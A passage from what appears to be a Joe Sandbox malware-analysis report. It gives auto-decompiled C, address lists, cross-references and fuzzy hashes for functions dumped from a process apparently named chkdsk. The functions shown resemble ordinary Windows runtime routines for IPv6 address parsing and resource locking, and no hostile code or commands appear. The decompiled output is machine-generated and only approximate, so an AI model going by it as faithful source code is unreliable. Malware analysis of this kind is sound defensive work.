					if(_v16 != 1) {
						if(_v16 != 2) {
							goto L6;
						}
						 *((short*)(_a12 + _v20 * 2)) = 0;
						L47:
						if(_t174 != 0) {
							E023A8980(_a12 + 0x10 + (_t174 - _v8) * 2, _a12 + _t174 * 2, _v8 - _t174 + _v8 - _t174);
							_t116 = 8;
							E0239DFC0(_a12 + _t174 * 2, 0, _t116 - _v8 + _t116 - _v8);
						}
						return 0;
					}
					if(_t180 != 0) {
						if(_v12 > 3) {
							goto L6;
						}
						_t120 = E023D0CFA(_v28, 0, 0xa);
						_t183 = _t183 + 0xc;
						if(_t120 > 0xff) {
							goto L6;
						}
						 *((char*)(_t180 + _v20 * 2 + _a12)) = _t120;
						goto L47;
					}
					if(_v12 > 4) {
						goto L6;
					}
					_t121 = E023D0CFA(_v28, _t180, 0x10);
					_t183 = _t183 + 0xc;
					 *((short*)(_a12 + _v20 * 2)) = _t121;
					goto L47;
				} else {
					while(1) {
						_t123 = _v16;
						if(_t123 == 0) {
							goto L7;
						}
						_t108 = _t123 - 1;
						if(_t108 != 0) {
							goto L1;
						}
						_t178 = _t141;
						if(E023D06BA(_t108, _t141) == 0 || _t135 == 0) {
							if(E023D06BA(_t135, _t178) == 0 || E023D0A5B(_t136, _t178) == 0) {
								if(_t141 != 0x3a) {
									if(_t141 == 0x2e) {
										if(_a7 != 0 || _v24 > 2 || _v8 > 6) {
											goto L41;
										} else {
											_v24 = _v24 + 1;
											L27:
											_v16 = _v16 & 0x00000000;
											L28:
											if(_v28 == 0) {
												goto L20;
											}
											_t177 = _v24;
											if(_t177 != 0) {
												if(_v12 > 3) {
													L6:
													return 0xc000000d;
												}
												_t132 = E023D0CFA(_v28, 0, 0xa);
												_t183 = _t183 + 0xc;
												if(_t132 > 0xff) {
													goto L6;
												}
												 *((char*)(_t177 + _v20 * 2 + _a12 - 1)) = _t132;
												goto L20;
											}
											if(_v12 > 4) {
												goto L6;
											}
											_t133 = E023D0CFA(_v28, 0, 0x10);
											_t183 = _t183 + 0xc;
											_v20 = _v20 + 1;
											 *((short*)(_a12 + _v20 * 2)) = _t133;
											goto L20;
										}
									}
									goto L41;
								}
								if(_v24 > 0 || _v8 > 6) {
									goto L41;
								} else {
									_t130 = _t179 + 1;
									if( *_t130 == _t141) {
										if(_v32 != 0) {
											goto L41;
										}
										_v32 = _v8 + 1;
										_t156 = 2;
										_v8 = _v8 + _t156;
										L34:
										_t179 = _t130;
										_v16 = _t156;
										goto L28;
									}
									_v8 = _v8 + 1;
									goto L27;
								}
							} else {
								_v12 = _v12 + 1;
								if(_v24 > 0) {
									goto L41;
								}
								_a7 = 1;
								goto L20;
							}
						} else {
							_v12 = _v12 + 1;
							L20:
							_t179 = _t179 + 1;
							_t141 =  *_t179;
							if(_t141 == 0) {
								goto L41;
							}
							continue;
						}
						L7:
						if(_t141 == 0x3a) {
							if(_v24 > 0 || _v8 > 0) {
								goto L41;
							} else {
								_t130 = _t179 + 1;
								if( *_t130 != _t141) {
									goto L41;
								}
								_v20 = _v20 + 1;
								_t156 = 2;
								_v32 = 1;
								_v8 = _t156;
								 *((short*)(_a12 + _v20 * 2)) = 0;
								goto L34;
							}
						}
						L8:
						if(_v8 > 7) {
							goto L41;
						}
						_t142 = _t141;
						if(E023D06BA(_t123, _t141) == 0 || _t124 == 0) {
							if(E023D06BA(_t124, _t142) == 0 || E023D0A5B(_t125, _t142) == 0 || _v24 > 0) {
								goto L41;
							} else {
								_t128 = 1;
								_a7 = 1;
								_v28 = _t179;
								_v16 = 1;
								_v12 = 1;
								L39:
								if(_v16 == _t128) {
									goto L20;
								}
								goto L28;
							}
						} else {
							_a7 = 0;
							_v28 = _t179;
							_v16 = 1;
							_v12 = 1;
							goto L20;
						}
					}
				}
				L1:
				_t123 = _t108 == 1;
				if(_t108 == 1) {
					goto L8;
				}
				_t128 = 1;
				goto L39;
			}

0x023d0b21
0x023d0b24
0x023d0b27
0x023d0b2a
0x023d0b2d
0x023d0b30
0x023d0b33
0x023d0b36
0x023d0b39
0x023d0b3e
0x023d0c65
0x023d0c68
0x023d0c6a
0x023d0c6f
0x023feb42
0x00000000
0x00000000
0x023feb48
0x023feb48
0x023d0c75
0x023d0c7a
0x023feb54
0x00000000
0x00000000
0x00000000
0x023feb5a
0x023d0c80
0x023d0c84
0x023feb98
0x00000000
0x00000000
0x023feba6
0x023d0cb8
0x023d0cba
0x023d0cd3
0x023d0cda
0x023d0ce4
0x023d0ce9
0x00000000
0x023d0cec
0x023d0c8c
0x023feb63
0x00000000
0x00000000
0x023feb70
0x023feb75
0x023feb7d
0x00000000
0x00000000
0x023feb8c
0x00000000
0x023feb8c
0x023d0c96
0x00000000
0x00000000
0x023d0ca2
0x023d0cac
0x023d0cb4
0x00000000
0x00000000
0x023d0b44
0x023d0b47
0x023d0b49
0x00000000
0x00000000
0x023d0b4f
0x023d0b50
0x00000000
0x00000000
0x023d0b56
0x023d0b62
0x023d0b7c
0x023d0bac
0x023d0a0f
0x023feaaa
0x00000000
0x023feac4
0x023feac4
0x023d0bd0
0x023d0bd0
0x023d0bd4
0x023d0bd9
0x00000000
0x00000000
0x023d0bdb
0x023d0be0
0x023feb0e
0x023d0a1a
0x00000000
0x023d0a1a
0x023feb1a
0x023feb1f
0x023feb27
0x00000000
0x00000000
0x023feb36
0x00000000
0x023feb36
0x023d0bea
0x00000000
0x00000000
0x023d0bf6
0x023d0c00
0x023d0c03
0x023d0c0b
0x00000000
0x023d0c0b
0x023feaaa
0x00000000
0x023d0a15
0x023d0bb6
0x00000000
0x023d0bc6
0x023d0bc6
0x023d0bcb
0x023d0c15
0x00000000
0x00000000
0x023d0c1d
0x023d0c20
0x023d0c21
0x023d0c24
0x023d0c24
0x023d0c26
0x00000000
0x023d0c26
0x023d0bcd
0x00000000
0x023d0bcd
0x023d0b89
0x023d0b89
0x023d0b90
0x00000000
0x00000000
0x023d0b96
0x00000000
0x023d0b96
0x023d0a04
0x023d0a04
0x023d0b9a
0x023d0b9a
0x023d0b9b
0x023d0b9f
0x00000000
0x00000000
0x00000000
0x023d0ba5
0x023d0ac7
0x023d0aca
0x023feacf
0x00000000
0x023feade
0x023feade
0x023feae3
0x00000000
0x00000000
0x023feaf3
0x023feaf6
0x023feaf7
0x023feafe
0x023feb01
0x00000000
0x023feb01
0x023feacf
0x023d0ad0
0x023d0ad4
0x00000000
0x00000000
0x023d0ada
0x023d0ae6
0x023d0c34
0x00000000
0x023d0c47
0x023d0c49
0x023d0c4a
0x023d0c4e
0x023d0c51
0x023d0c54
0x023d0c57
0x023d0c5a
0x00000000
0x00000000
0x00000000
0x023d0c60
0x023d0afb
0x023d0afe
0x023d0b02
0x023d0b05
0x023d0b08
0x00000000
0x023d0b08
0x023d0ae6
0x023d0b44
0x023d09f8
0x023d09f8
0x023d09f9
0x00000000
0x00000000
0x023feaa0
0x00000000

APIs

__fassign.LIBCMT ref: 023D0BF6
__fassign.LIBCMT ref: 023D0CA2

Strings

., xrefs: 023D0A0C
:, xrefs: 023D0AC7
:, xrefs: 023D0BA9

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: 7a8c7b2c0f8e18a955f5a67dc519c31553e04fcd02afac1e1ee18c5d5b29cf20
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: 51A1AF72D0420ADFCF28CF64E8457FEB7B9EF45B08F24886AD852AB251D7309649CB51

Uniqueness

Uniqueness Score: -1.00%

Function 023D0554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E023D0554(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t49;
				signed int _t51;
				signed int _t56;
				signed int _t58;
				signed int _t61;
				signed int _t63;
				void* _t66;
				intOrPtr _t67;
				void* _t69;
				signed int _t70;
				void* _t75;
				signed int _t81;
				signed int _t84;
				void* _t86;
				signed int _t93;
				signed int _t96;
				intOrPtr _t105;
				signed int _t107;
				void* _t110;
				signed int _t115;
				signed int* _t119;
				void* _t125;
				void* _t126;
				signed int _t128;
				signed int _t130;
				signed int _t138;
				signed int _t144;
				void* _t158;
				void* _t159;
				void* _t160;

				_t96 = _a4;
				_t115 =  *(_t96 + 0x28);
				_push(_t138);
				if(_t115 < 0) {
					_t105 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t96 + 0x2c)) -  *((intOrPtr*)(_t105 + 0x24));
					if( *((intOrPtr*)(_t96 + 0x2c)) !=  *((intOrPtr*)(_t105 + 0x24))) {
						goto L6;
					} else {
						__eflags = _t115 | 0xffffffff;
						asm("lock xadd [eax], edx");
						return 1;
					}
				} else {
					L6:
					_push(_t128);
					while(1) {
						L7:
						__eflags = _t115;
						if(_t115 >= 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
							_t49 = _t96 + 0x1c;
							_t106 = 1;
							asm("lock xadd [edx], ecx");
							_t115 =  *(_t96 + 0x28);
							__eflags = _t115;
							if(_t115 < 0) {
								L23:
								_t130 = 0;
								__eflags = 0;
								while(1) {
									_t118 =  *(_t96 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t144 =  !( ~( *(_t96 + 0x30) & 1)) & 0x024701c0;
									_push(_t144);
									_push(0);
									_t51 = E0238F8CC( *((intOrPtr*)(_t96 + 0x18)));
									__eflags = _t51 - 0x102;
									if(_t51 != 0x102) {
										break;
									}
									_t106 =  *(_t144 + 4);
									_t126 =  *_t144;
									_t86 = E023D4FC0(_t126,  *(_t144 + 4), 0xff676980, 0xffffffff);
									_push(_t126);
									_push(_t86);
									E023E3F92(0x65, 0, "RTL: Acquire Shared Sem Timeout %d(%I64u secs)\n", _t130);
									E023E3F92(0x65, 0, "RTL: Resource at %p\n", _t96);
									_t130 = _t130 + 1;
									_t160 = _t158 + 0x28;
									__eflags = _t130 - 2;
									if(__eflags > 0) {
										E0241217A(_t106, __eflags, _t96);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E023E3F92();
									_t158 = _t160 + 0xc;
								}
								__eflags = _t51;
								if(__eflags < 0) {
									_push(_t51);
									E023D3915(_t96, _t106, _t118, _t130, _t144, __eflags);
									asm("int3");
									while(1) {
										L32:
										__eflags = _a8;
										if(_a8 == 0) {
											break;
										}
										 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
										_t119 = _t96 + 0x24;
										_t107 = 1;
										asm("lock xadd [eax], ecx");
										_t56 =  *(_t96 + 0x28);
										_a4 = _t56;
										__eflags = _t56;
										if(_t56 != 0) {
											L40:
											_t128 = 0;
											__eflags = 0;
											while(1) {
												_t121 =  *(_t96 + 0x30) & 0x00000001;
												asm("sbb esi, esi");
												_t138 =  !( ~( *(_t96 + 0x30) & 1)) & 0x024701c0;
												_push(_t138);
												_push(0);
												_t58 = E0238F8CC( *((intOrPtr*)(_t96 + 0x20)));
												__eflags = _t58 - 0x102;
												if(_t58 != 0x102) {
													break;
												}
												_t107 =  *(_t138 + 4);
												_t125 =  *_t138;
												_t75 = E023D4FC0(_t125, _t107, 0xff676980, 0xffffffff);
												_push(_t125);
												_push(_t75);
												E023E3F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t128);
												E023E3F92(0x65, 0, "RTL: Resource at %p\n", _t96);
												_t128 = _t128 + 1;
												_t159 = _t158 + 0x28;
												__eflags = _t128 - 2;
												if(__eflags > 0) {
													E0241217A(_t107, __eflags, _t96);
												}
												_push("RTL: Re-Waiting\n");
												_push(0);
												_push(0x65);
												E023E3F92();
												_t158 = _t159 + 0xc;
											}
											__eflags = _t58;
											if(__eflags < 0) {
												_push(_t58);
												E023D3915(_t96, _t107, _t121, _t128, _t138, __eflags);
												asm("int3");
												_t61 =  *_t107;
												 *_t107 = 0;
												__eflags = _t61;
												if(_t61 == 0) {
													L1:
													_t63 = E023B5384(_t138 + 0x24);
													if(_t63 != 0) {
														goto L52;
													} else {
														goto L2;
													}
												} else {
													_t123 =  *((intOrPtr*)(_t138 + 0x18));
													_push( &_a4);
													_push(_t61);
													_t70 = E0238F970( *((intOrPtr*)(_t138 + 0x18)));
													__eflags = _t70;
													if(__eflags >= 0) {
														goto L1;
													} else {
														_push(_t70);
														E023D3915(_t96,  &_a4, _t123, _t128, _t138, __eflags);
														L52:
														_t122 =  *((intOrPtr*)(_t138 + 0x20));
														_push( &_a4);
														_push(1);
														_t63 = E0238F970( *((intOrPtr*)(_t138 + 0x20)));
														__eflags = _t63;
														if(__eflags >= 0) {
															L2:
															return _t63;
														} else {
															_push(_t63);
															E023D3915(_t96,  &_a4, _t122, _t128, _t138, __eflags);
															_t109 =  *((intOrPtr*)(_t138 + 0x20));
															_push( &_a4);
															_push(1);
															_t63 = E0238F970( *((intOrPtr*)(_t138 + 0x20)));
															__eflags = _t63;
															if(__eflags >= 0) {
																goto L2;
															} else {
																_push(_t63);
																_t66 = E023D3915(_t96, _t109, _t122, _t128, _t138, __eflags);
																asm("int3");
																while(1) {
																	_t110 = _t66;
																	__eflags = _t66 - 1;
																	if(_t66 != 1) {
																		break;
																	}
																	_t128 = _t128 | 0xffffffff;
																	_t66 = _t110;
																	asm("lock cmpxchg [ebx], edi");
																	__eflags = _t66 - _t110;
																	if(_t66 != _t110) {
																		continue;
																	} else {
																		_t67 =  *[fs:0x18];
																		 *((intOrPtr*)(_t138 + 0x2c)) =  *((intOrPtr*)(_t67 + 0x24));
																		return _t67;
																	}
																	goto L59;
																}
																E023B5329(_t110, _t138);
																_t69 = E023B53A5(_t138, 1);
																return _t69;
															}
														}
													}
												}
											} else {
												_t56 =  *(_t96 + 0x28);
												goto L3;
											}
										} else {
											_t107 =  *_t119;
											__eflags = _t107;
											if(__eflags > 0) {
												while(1) {
													_t81 = _t107;
													asm("lock cmpxchg [edi], esi");
													__eflags = _t81 - _t107;
													if(_t81 == _t107) {
														break;
													}
													_t107 = _t81;
													__eflags = _t81;
													if(_t81 > 0) {
														continue;
													}
													break;
												}
												_t56 = _a4;
												__eflags = _t107;
											}
											if(__eflags != 0) {
												while(1) {
													L3:
													__eflags = _t56;
													if(_t56 != 0) {
														goto L32;
													}
													_t107 = _t107 | 0xffffffff;
													_t56 = 0;
													asm("lock cmpxchg [edx], ecx");
													__eflags = 0;
													if(0 != 0) {
														continue;
													} else {
														 *((intOrPtr*)(_t96 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
														return 1;
													}
													goto L59;
												}
												continue;
											} else {
												goto L40;
											}
										}
										goto L59;
									}
									__eflags = 0;
									return 0;
								} else {
									_t115 =  *(_t96 + 0x28);
									continue;
								}
							} else {
								_t106 =  *_t49;
								__eflags = _t106;
								if(__eflags > 0) {
									while(1) {
										_t93 = _t106;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t93 - _t106;
										if(_t93 == _t106) {
											break;
										}
										_t106 = _t93;
										__eflags = _t93;
										if(_t93 > 0) {
											continue;
										}
										break;
									}
									__eflags = _t106;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L23;
								}
							}
						}
						goto L59;
					}
					_t84 = _t115;
					asm("lock cmpxchg [esi], ecx");
					__eflags = _t84 - _t115;
					if(_t84 != _t115) {
						_t115 = _t84;
						goto L7;
					} else {
						return 1;
					}
				}
				L59:
			}

0x023d055a
0x023d055d
0x023d0563
0x023d0566
0x023d05d8
0x023d05e2
0x023d05e5
0x00000000
0x023d05e7
0x023d05e7
0x023d05ea
0x023d05f3
0x023d05f3
0x023d0568
0x023d0568
0x023d0568
0x023d0569
0x023d0569
0x023d0569
0x023d056b
0x00000000
0x00000000
0x023f217f
0x023f2183
0x023f225b
0x023f225f
0x023f2189
0x023f218c
0x023f218f
0x023f2194
0x023f2199
0x023f219d
0x023f21a0
0x023f21a2
0x023f21ce
0x023f21ce
0x023f21ce
0x023f21d0
0x023f21d6
0x023f21de
0x023f21e2
0x023f21e8
0x023f21e9
0x023f21ec
0x023f21f1
0x023f21f6
0x00000000
0x00000000
0x023f21f8
0x023f21fb
0x023f2206
0x023f220b
0x023f220c
0x023f2217
0x023f2226
0x023f222b
0x023f222c
0x023f222f
0x023f2232
0x023f2235
0x023f2235
0x023f223a
0x023f223f
0x023f2241
0x023f2243
0x023f2248
0x023f2248
0x023f224d
0x023f224f
0x023f2262
0x023f2263
0x023f2268
0x023f2269
0x023f2269
0x023f2269
0x023f226d
0x00000000
0x00000000
0x023f2276
0x023f2279
0x023f227e
0x023f2283
0x023f2287
0x023f228a
0x023f228d
0x023f228f
0x023f22bc
0x023f22bc
0x023f22bc
0x023f22be
0x023f22c4
0x023f22cc
0x023f22d0
0x023f22d6
0x023f22d7
0x023f22da
0x023f22df
0x023f22e4
0x00000000
0x00000000
0x023f22e6
0x023f22e9
0x023f22f4
0x023f22f9
0x023f22fa
0x023f2305
0x023f2314
0x023f2319
0x023f231a
0x023f231d
0x023f2320
0x023f2323
0x023f2323
0x023f2328
0x023f232d
0x023f232f
0x023f2331
0x023f2336
0x023f2336
0x023f233b
0x023f233d
0x023f2350
0x023f2351
0x023f2356
0x023f2359
0x023f2359
0x023f235b
0x023f235d
0x023b5367
0x023b536b
0x023b5372
0x00000000
0x00000000
0x00000000
0x00000000
0x023f2363
0x023f2363
0x023f2369
0x023f236a
0x023f236c
0x023f2371
0x023f2373
0x00000000
0x023f2379
0x023f2379
0x023f237a
0x023f237f
0x023f237f
0x023f2385
0x023f2386
0x023f2389
0x023f238e
0x023f2390
0x023b5378
0x023b537c
0x023f2396
0x023f2396
0x023f2397
0x023f239c
0x023f23a2
0x023f23a3
0x023f23a6
0x023f23ab
0x023f23ad
0x00000000
0x023f23b3
0x023f23b3
0x023f23b4
0x023f23b9
0x023f23ba
0x023f23ba
0x023f23bc
0x023f23bf
0x00000000
0x00000000
0x023e9153
0x023e9158
0x023e915a
0x023e915e
0x023e9160
0x00000000
0x023e9166
0x023e9166
0x023e9171
0x023e9176
0x023e9176
0x00000000
0x023e9160
0x023f23c6
0x023f23ce
0x023f23d7
0x023f23d7
0x023f23ad
0x023f2390
0x023f2373
0x023f233f
0x023f233f
0x00000000
0x023f233f
0x023f2291
0x023f2291
0x023f2293
0x023f2295
0x023f229a
0x023f22a1
0x023f22a3
0x023f22a7
0x023f22a9
0x00000000
0x00000000
0x023f22ab
0x023f22ad
0x023f22af
0x00000000
0x00000000
0x00000000
0x023f22af
0x023f22b1
0x023f22b4
0x023f22b4
0x023f22b6
0x023b53be
0x023b53be
0x023b53be
0x023b53c0
0x00000000
0x00000000
0x023b53cb
0x023b53ce
0x023b53d0
0x023b53d4
0x023b53d6
0x00000000
0x023b53d8
0x023b53e3
0x023b53ea
0x023b53ea
0x00000000
0x023b53d6
0x00000000
0x00000000
0x00000000
0x00000000
0x023f22b6
0x00000000
0x023f228f
0x023f2349
0x023f234d
0x023f2251
0x023f2251
0x00000000
0x023f2251
0x023f21a4
0x023f21a4
0x023f21a6
0x023f21a8
0x023f21ac
0x023f21b6
0x023f21b8
0x023f21bc
0x023f21be
0x00000000
0x00000000
0x023f21c0
0x023f21c2
0x023f21c4
0x00000000
0x00000000
0x00000000
0x023f21c4
0x023f21c6
0x023f21c6
0x023f21c8
0x00000000
0x00000000
0x00000000
0x00000000
0x023f21c8
0x023f21a2
0x00000000
0x023f2183
0x023d057b
0x023d057d
0x023d0581
0x023d0583
0x023f2178
0x00000000
0x023d0589
0x023d058f
0x023d058f
0x023d0583
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023F2206

Strings

RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 023F220E
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 023F22FC
RTL: Re-Waiting, xrefs: 023F223A, 023F2328
RTL: Resource at %p, xrefs: 023F221D, 023F230B

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: fc76838219d53a557de8ac523783fdad34fa202c05613213f3c86de0ad649ee8
Instruction ID: 7bd2697c4c439f6a53baf684d1c21640f89f099b7d5de3074e807043ef644491
Opcode Fuzzy Hash: fc76838219d53a557de8ac523783fdad34fa202c05613213f3c86de0ad649ee8
Instruction Fuzzy Hash: 54516B31700311AFEF65CA18EC81FA733AAAF84714F218259FE15DB381DA71EC428B90

Uniqueness

Uniqueness Score: -1.00%

Function 023D14C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E023D14C0(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v10;
				char _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t24;
				void* _t26;
				signed int _t29;
				signed int _t34;
				signed int _t40;
				intOrPtr _t45;
				void* _t51;
				intOrPtr* _t52;
				void* _t54;
				signed int _t57;
				void* _t58;

				_t51 = __edx;
				_t24 =  *0x2472088; // 0x76ee1647
				_v8 = _t24 ^ _t57;
				_t45 = _a16;
				_t53 = _a4;
				_t52 = _a20;
				if(_a4 == 0 || _t52 == 0) {
					L10:
					_t26 = 0xc000000d;
				} else {
					if(_t45 == 0) {
						if( *_t52 == _t45) {
							goto L3;
						} else {
							goto L10;
						}
					} else {
						L3:
						_t28 =  &_v140;
						if(_a12 != 0) {
							_push("[");
							_push(0x41);
							_push( &_v140);
							_t29 = E023C7707();
							_t58 = _t58 + 0xc;
							_t28 = _t57 + _t29 * 2 - 0x88;
						}
						_t54 = E023D13CB(_t53, _t28);
						if(_a8 != 0) {
							_t34 = E023C7707(_t54,  &_v10 - _t54 >> 1, L"%%%u", _a8);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t34 * 2;
						}
						if(_a12 != 0) {
							_t40 = E023C7707(_t54,  &_v10 - _t54 >> 1, L"]:%u", _a12 & 0x0000ffff);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t40 * 2;
						}
						_t53 = (_t54 -  &_v140 >> 1) + 1;
						 *_t52 = _t53;
						if( *_t52 < _t53) {
							goto L10;
						} else {
							E02392340(_t45,  &_v140, _t53 + _t53);
							_t26 = 0;
						}
					}
				}
				return E0239E1B4(_t26, _t45, _v8 ^ _t57, _t51, _t52, _t53);
			}

0x023d14c0
0x023d14cb
0x023d14d2
0x023d14d6
0x023d14da
0x023d14de
0x023d14e3
0x023d157a
0x023d157a
0x023d14f1
0x023d14f3
0x023fea0f
0x00000000
0x023fea15
0x00000000
0x023fea15
0x023d14f9
0x023d14f9
0x023d14fe
0x023d1504
0x023fea1a
0x023fea1f
0x023fea21
0x023fea22
0x023fea27
0x023fea2a
0x023fea2a
0x023d1515
0x023d1517
0x023d156d
0x023d1572
0x023d1575
0x023d1575
0x023d151e
0x023fea50
0x023fea55
0x023fea58
0x023fea58
0x023d152e
0x023d1531
0x023d1533
0x00000000
0x023d1535
0x023d1541
0x023d1549
0x023d1549
0x023d1533
0x023d14f3
0x023d1559

APIs

___swprintf_l.LIBCMT ref: 023FEA22

Part of subcall function 023D13CB: ___swprintf_l.LIBCMT ref: 023D146B
Part of subcall function 023D13CB: ___swprintf_l.LIBCMT ref: 023D1490

___swprintf_l.LIBCMT ref: 023D156D

Strings

]:%u, xrefs: 023FEA47
%%%u, xrefs: 023D1564

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: e7aefb095ab8004032baac0f69ee36e561c2abb5eb0feebd338a4f02ff9b4b71
Instruction ID: a2875271ea7575b2cc6b65ec09e7f5e6e737653f76c49bec6c9973e04acba483
Opcode Fuzzy Hash: e7aefb095ab8004032baac0f69ee36e561c2abb5eb0feebd338a4f02ff9b4b71
Instruction Fuzzy Hash: 932195739002199BDF20DE68EC40AEA77BDAB10704F444566ED8AD3140DB75EA58CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 023B53A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E023B53A5(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				signed int _t37;
				signed int _t40;
				signed int _t42;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				signed int _t49;
				void* _t51;
				signed int _t57;
				signed int _t64;
				signed int _t71;
				void* _t74;
				intOrPtr _t78;
				signed int* _t79;
				void* _t85;
				signed int _t86;
				signed int _t92;
				void* _t104;
				void* _t105;

				_t64 = _a4;
				_t32 =  *(_t64 + 0x28);
				_t71 = _t64 + 0x28;
				_push(_t92);
				if(_t32 < 0) {
					_t78 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t64 + 0x2c)) -  *((intOrPtr*)(_t78 + 0x24));
					if( *((intOrPtr*)(_t64 + 0x2c)) !=  *((intOrPtr*)(_t78 + 0x24))) {
						goto L3;
					} else {
						__eflags = _t32 | 0xffffffff;
						asm("lock xadd [ecx], eax");
						return 1;
					}
				} else {
					L3:
					_push(_t86);
					while(1) {
						L4:
						__eflags = _t32;
						if(_t32 == 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) + 1;
							_t79 = _t64 + 0x24;
							_t71 = 1;
							asm("lock xadd [eax], ecx");
							_t32 =  *(_t64 + 0x28);
							_a4 = _t32;
							__eflags = _t32;
							if(_t32 != 0) {
								L19:
								_t86 = 0;
								__eflags = 0;
								while(1) {
									_t81 =  *(_t64 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t92 =  !( ~( *(_t64 + 0x30) & 1)) & 0x024701c0;
									_push(_t92);
									_push(0);
									_t37 = E0238F8CC( *((intOrPtr*)(_t64 + 0x20)));
									__eflags = _t37 - 0x102;
									if(_t37 != 0x102) {
										break;
									}
									_t71 =  *(_t92 + 4);
									_t85 =  *_t92;
									_t51 = E023D4FC0(_t85, _t71, 0xff676980, 0xffffffff);
									_push(_t85);
									_push(_t51);
